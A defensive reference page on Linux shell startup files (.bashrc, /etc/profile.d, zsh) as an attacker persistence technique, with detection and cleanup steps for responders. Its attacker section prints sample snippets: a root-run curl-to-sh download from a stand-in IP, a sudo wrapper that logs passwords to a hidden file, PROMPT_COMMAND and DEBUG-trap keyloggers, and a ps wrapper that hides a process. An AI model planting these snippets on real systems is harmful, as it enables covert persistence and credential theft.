Each new shell
Shell Startup Files: Linux Persistence via .bashrc
How .bashrc, .profile, /etc/profile.d and zsh files run code at every login or shell, how attackers plant aliases and payloads in them, and how to check.
- MITRE ATT&CK
- T1546.004
- Tactics
- Persistence, Privilege escalation, Credential access
- Runs
- Each new shell
- Set up by
- Users and root
- Locations
- /etc/profile
- /etc/profile.d/*.sh
- /etc/bash.bashrc
- /etc/bashrc
- ~/.bashrc
- ~/.profile
- ~/.bash_profile
- ~/.zshrc
How it works
Every shell reads a few files before it shows a prompt. They are plain shell code, run as the user who starts the shell, in that user's environment and usually from their home folder. Whatever is in them runs again at every login, every new terminal and often every ssh host command.
bash depends on how it was started:
- A login shell (console, SSH session,
su -,sudo -i) reads/etc/profile, then only the first of~/.bash_profile,~/.bash_loginand~/.profilethat exists.~/.bash_logoutruns when it exits. - An interactive non-login shell (a terminal window, plain
bash) reads~/.bashrc. Debian and Ubuntu build bash to read/etc/bash.bashrcfirst; RHEL and Fedora do not, and their stock~/.bashrcsources/etc/bashrcinstead. - A non-interactive shell (a script) reads the file named in
$BASH_ENV, if set. Debian builds bash to read~/.bashrcwhen started by sshd for a remote command; the stock file returns early for non-interactive shells, so only lines placed above that check run.
The stock files chain together: Debian's /etc/profile sources /etc/bash.bashrc and every /etc/profile.d/*.sh; RHEL's /etc/bashrc also sources /etc/profile.d/*.sh for non-login shells; both distributions' ~/.profile or ~/.bash_profile source ~/.bashrc. In practice ~/.bashrc and /etc/profile.d run in almost every interactive session.
zsh reads zshenv, zprofile (login), zshrc (interactive), zlogin (login) and zlogout, system copy first, then the user's (in $ZDOTDIR if set). Debian keeps the system copies in /etc/zsh/, RHEL, Fedora and Arch in /etc/. /etc/zshenv and ~/.zshenv run for every zsh, scripts included. fish reads config.fish and conf.d/*.fish; csh/tcsh read /etc/csh.cshrc, /etc/csh.login, ~/.cshrc and ~/.tcshrc. pam_env sets variables (not commands) from /etc/environment, /etc/security/pam_env.conf and, when configured with user_readenv=1, ~/.pam_environment.
New accounts get copies of /etc/skel (useradd -m, adduser), so a user's dotfile that still equals its skel copy is the distribution default.
Where it lives
| Path | What | Who can write it |
|---|---|---|
/etc/profile | Login shells (sh, bash, ksh) | root |
/etc/profile.d/*.sh | Sourced by /etc/profile; on RHEL also by /etc/bashrc | root, packages |
/etc/bash.bashrc | Interactive bash, Debian and Ubuntu | root |
/etc/bashrc | Sourced by ~/.bashrc, RHEL and Fedora | root |
/etc/zsh/*, /etc/zshenv, /etc/zshrc, /etc/zprofile, /etc/zlogin | zsh, system-wide | root |
/etc/environment, /etc/security/pam_env.conf | Variables set at login by pam_env | root |
/etc/csh.cshrc, /etc/csh.login, /etc/fish/ | csh/tcsh and fish | root |
/usr/share/fish/vendor_conf.d/ | fish snippets shipped by packages | packages |
/etc/skel/ | Template copied into new home folders | root |
~/.bash_profile, ~/.bash_login, ~/.profile | Login shells | the user, root |
~/.bashrc, ~/.bash_logout | Interactive bash, logout | the user, root |
~/.zshenv, ~/.zprofile, ~/.zshrc, ~/.zlogin, ~/.zlogout | zsh | the user, root |
~/.config/fish/config.fish, ~/.config/fish/conf.d/ | fish | the user, root |
~/.pam_environment | Variables, when user_readenv=1 | the user, root |
How attackers use it
No root needed for one account; root for everyone. A system-wide file runs as every user who logs in, root included, which is why /etc/profile.d is a popular drop.
Starting a payload at every login
# appended to ~/.bashrc
pgrep -f kdevd >/dev/null || (nohup /home/alice/.cache/.kd/kdevd >/dev/null 2>&1 &)
# /etc/profile.d/01-locale-fix.sh
[ "$(id -u)" -eq 0 ] && (curl -fsSL http://203.0.113.7/u.sh | sh >/dev/null 2>&1 &)
Capturing passwords with an alias or a function
A wrapper named sudo, su or ssh asks for the password, saves it and calls the real program, so the user notices nothing:
sudo() {
read -rsp "[sudo] password for $USER: " p; echo
printf '%s\n' "$p" >> /var/tmp/.font-cache-1
printf '%s\n' "$p" | command sudo -S -p '' "$@"
}
alias ssh='/home/alice/.local/bin/ssh-wrap'
Hiding from the user
Functions or aliases over ps, ls, netstat or ss filter the attacker's process, files or connections out of the output:
ps() { command ps "$@" | grep -v kdevd; }
Running code at every prompt or command
PROMPT_COMMAND runs before each prompt and a DEBUG trap before each command: keyloggers and beacons.
export PROMPT_COMMAND='history 1 >> /dev/shm/.k'
trap 'echo "$BASH_COMMAND" >> /dev/shm/.k' DEBUG
Changing the environment
An export LD_PRELOAD=… line injects a library into everything the user runs (see LD_PRELOAD), and unset HISTFILE keeps the session out of the history file (see history tampering).
How to check a host
On a live host
Do not investigate from a shell that has read the suspect files. Start one that skips them: sudo env -i bash --noprofile --norc. sudo -i and su - run root's startup files.
getent passwd | awk -F: '$7 !~ /(nologin|false)$/ {print $1, $6, $7}' # who has a shell, and where home is
ls -la --time-style=full-iso /etc/profile.d/ /root/.bash* /root/.profile /home/*/.bash* /home/*/.profile /home/*/.zsh* 2>/dev/null
grep -nE '^\s*(alias|function)\s|^\s*[a-z]+\s*\(\)|PROMPT_COMMAND|trap .*DEBUG|LD_PRELOAD|HISTFILE|curl|wget|base64|/dev/tcp' \
/etc/profile /etc/profile.d/* /etc/bash.bashrc /etc/bashrc /etc/environment /etc/zsh/* \
/root/.bashrc /root/.profile /home/*/.bashrc /home/*/.bash_profile /home/*/.profile /home/*/.zsh* 2>/dev/null
diff /etc/skel/.bashrc /home/alice/.bashrc # per user: what was added to the default
lsattr /home/*/.bashrc /etc/profile.d/* # an 'i' blocks edits
Package checks for the system files: dpkg -S /etc/profile.d/* names each file's package (one without an owner was added by hand or a script), dpkg -V bash reports a changed /etc/bash.bashrc with a 5 and a c (conffile), and debsums -ce lists every changed conffile. On RHEL and Fedora, rpm -Vf /etc/profile /etc/bashrc checks the setup package and rpm -qf /etc/profile.d/* the snippets.
Also check /etc/skel itself against its package: a planted skel file spreads to every account created afterwards.
Offline, from a collection
Read every startup file in the archive, diff each dotfile against /etc/skel, and compare modification times with the account's logins and the other planted files. The collection command takes /etc, .*rc, .*profile and .bash_logout from /root and /home/*; add ~/.bash_login, ~/.zshenv, ~/.zlogin and ~/.config/fish/ by hand where those shells are used. Linux Persistence does the reading and the skel comparison offline.
What Linux Persistence flags
Each startup file is one entry (trigger login for profile-type files, shell for the rest), with up to 12 matching lines and their numbers.
- Alias replaces command: an alias named
sudo,su,ssh,scp,sftp,passwd,chpasswd,kinit,mysql,psqlorgpg(high), orls,ps,netstat,ss,lsof,top,htop,who,w,last,lastlog,kill,pkill,crontab,systemctl,findorgrep(medium). An alias that only adds options to the same program, with no pipe,;,&,$, backtick or redirection (alias ls='ls --color=auto'), is ignored. - Function replaces command: a function named after one of those commands (
sudo() {,function sudo {), same severities. - Runs code at every prompt: a line setting or appending to
PROMPT_COMMAND, or a zshprecmdhook (precmd(),precmd_functions+=,add-zsh-hook precmd). - DEBUG trap: a
trap … DEBUGline. - The shared command heuristics on every line: Downloads and runs code, Reverse or bind shell, Decodes and runs a payload, Interpreter with inline code, Sets LD_PRELOAD, Turns shell history off, Makes a file immutable, Detaches from the session, Runs from a temporary folder, Runs from a hidden folder, Embedded encoded blob.
- Differs from /etc/skel (info): a user's
.bashrc,.profile,.bash_logoutor.zshrcno longer matches the skel copy in the collection. When it matches, its heuristic flags are demoted to info. - Not installed by any package (low): a file in
/etc/profile.dthat dpkg does not own. Differs from package package (low): a packaged file whose checksum changed. Flags on unchanged packaged files are shown at info. - Changed date (low): changed in the 7 days before the newest file of the collection.
Limits: files are read, not the live environment. Files pulled in with source or ., or redirected through $ZDOTDIR or $BASH_ENV, are not followed. Wrappers named after other commands are not flagged, nor functions declared without (). /etc/skel is used as the reference, not checked itself: if it was altered, matching copies are shown as info. Home folders get no package verdict.
Cleaning up
- Preserve first:
cp -athe file to your evidence store,sha256sumit, keepstatoutput. Copy any binary or script it starts, and note running processes it launched. - Remove the planted lines, or restore the file: from
/etc/skelfor a user's dotfile, from the package for a system file. A reinstall keeps a modified Debian conffile: delete it, thenapt-get install --reinstall -o Dpkg::Options::=--force-confmiss <package>. Kill the processes it started. - End live sessions of the affected accounts: running shells keep the alias, function or trap until they exit.
- Check the other places: every account's files (including root and service accounts),
/etc/profile.d,/etc/environment,/etc/skel, and the other login hooks: XDG autostart and MOTD scripts. - Rotate every password typed into
sudo,su,sshor a database client while a wrapper was in place, and any key passphrase entered in those sessions.
References
See also
Related techniques
On Linux Forensics
The artifacts behind this technique, in the Linux Forensics reference: